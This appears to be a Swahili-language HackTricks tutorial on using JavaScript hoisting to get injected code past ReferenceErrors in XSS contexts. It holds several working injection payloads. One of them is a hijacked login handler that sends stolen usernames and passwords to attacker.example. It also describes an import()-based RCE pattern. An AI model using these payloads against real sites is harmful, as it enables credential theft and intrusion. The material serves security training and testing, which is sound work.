JS Hoisting
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
Katika lugha ya JavaScript, kuna utaratibu unaojulikana kama Hoisting ambapo tamko za variables, functions, classes, au imports huinuliwa kwa dhana hadi juu ya scope yao kabla ya script kutekelezwa. Mchakato huu hufanywa kwa moja kwa moja na JavaScript engine, ambayo hupitia script katika pasi nyingi.
Wakati wa pasi ya kwanza, engine huchambua msimbo ili kutafuta makosa ya syntax na kuubadilisha kuwa abstract syntax tree. Awamu hii inajumuisha hoisting, mchakato ambapo tamko fulani huhamishwa hadi juu ya execution context. Ikiwa awamu ya parsing itafanikiwa, ikionyesha hakuna makosa ya syntax, utekelezaji wa script unaendelea.
Ni muhimu kuelewa kwamba:
- Script lazima iwe haina makosa ya syntax ili utekelezaji uanze. Kanuni za syntax zinapaswa kufuatwa kwa ukali.
- Mahali pa msimbo ndani ya script huathiri utekelezaji kutokana na hoisting, ingawa msimbo unaotekelezwa unaweza kutofautiana na uwakilishi wake wa maandishi.
Aina za Hoisting
Kulingana na taarifa kutoka MDN, kuna aina nne tofauti za hoisting katika JavaScript:
- Value Hoisting: Inaruhusu kutumia thamani ya variable ndani ya scope yake kabla ya mstari wake wa tamko.
- Declaration Hoisting: Inaruhusu kunukuu variable ndani ya scope kabla ya tamko bila kusababisha
ReferenceError, lakini thamani ya variable itakuwaundefined. - Aina hii hubadilisha tabia ndani ya scope yake kutokana na tamko la variable kabla ya mstari wake wa tamko halisi.
- Athari za pembeni za tamko zinafanyika kabla ya sehemu nyingine ya msimbo inayoiweka kuhesabiwa.
Kwa undani, function declarations zinaonyesha tabia ya hoisting ya type 1. The var keyword inaonyesha tabia ya type 2. Lexical declarations, ambazo zinajumuisha let, const, na class, zinaonyesha tabia ya type 3. Mwisho, import statements ni za kipekee kwa kuwa huhoishwa kwa tabia za type 1 na type 4.
Mizingiro
Hivyo basi, ikiwa una mizingiro ambapo unaweza Inject JS code after an undeclared object is used, unaweza fix the syntax kwa kuitangaza (ili code yako itekelezwe badala ya kutoa error):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Senario Zaidi
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
Hoisting ili kupita exception handling
Wakati sink imefungwa ndani ya try { x.y(...) } catch { ... }, ReferenceError itasimamisha utekelezaji kabla payload yako hataanza. Unaweza kutangaza mapema identifier inayokosekana ili wito uendelee na injected expression yako itekelezwe kwanza:
// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)
// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //
function x(){} inapelekwa juu (hoisted) kabla ya tathmini, hivyo parser haizidi kutoa kosa kwa x.y(...); prompt() inaendeshwa kabla y hajatatuliwa, kisha TypeError inatupwa baada ya code yako kuendesha.
Zuia utangazaji wa baadaye kwa kufunga jina kwa const
Iwapo unaweza kuendesha kabla ya top-level function foo(){...} itakapoparsiwa, kutangaza binding ya leksikali lenye jina lile (mf., const foo = ...) kutazuia utangazaji wa function ya baadaye kuifunga upya kitambulisho hicho. Hii inaweza kutumika vibaya katika RXSS kuiba (hijack) handlers muhimu zilizofafanuliwa baadaye kwenye ukurasa:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
Vidokezo
- Hii inategemea mpangilio wa utekelezaji na scope ya global (top-level).
- Ikiwa payload yako inatekelezwa ndani ya
eval(), kumbuka kwambaconst/letndani yaevalzina block-scoped na hazitatengeneza global bindings. Inject a new<script>element with the code to establish a true globalconst.
Dynamic import() with user-controlled specifiers
Programu zinazorushwa upande wa server mara nyingine huhamisha input ya mtumiaji ndani ya import() ili kufanya lazy-load ya components. If a loader such as import-in-the-middle is present, wrapper modules are generated from the specifier. Uthamini wa import ulioboreshwa (hoisted) unachukua na kutekeleza module inayodhibitiwa na mshambuliaji kabla ya mistari iliyofuata kuendelea, kuruhusu RCE katika muktadha za SSR (see CVE-2023-38704).
Zana
Skana za kisasa zimeanza kuongeza explicit hoisting payloads. KNOXSS v3.6.5 lists “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” and “Hoisting Override” test cases; kuzikimbia dhidi ya muktadha za RXSS zinazotoa ReferenceError/TypeError hufichua kwa haraka wagombea gadget za msingi wa hoist.
Marejeo
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- XSS Exception Bypass using Hoisting (ch4n3, 2023)
- KNOXSS coverage – hoisting override cases
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


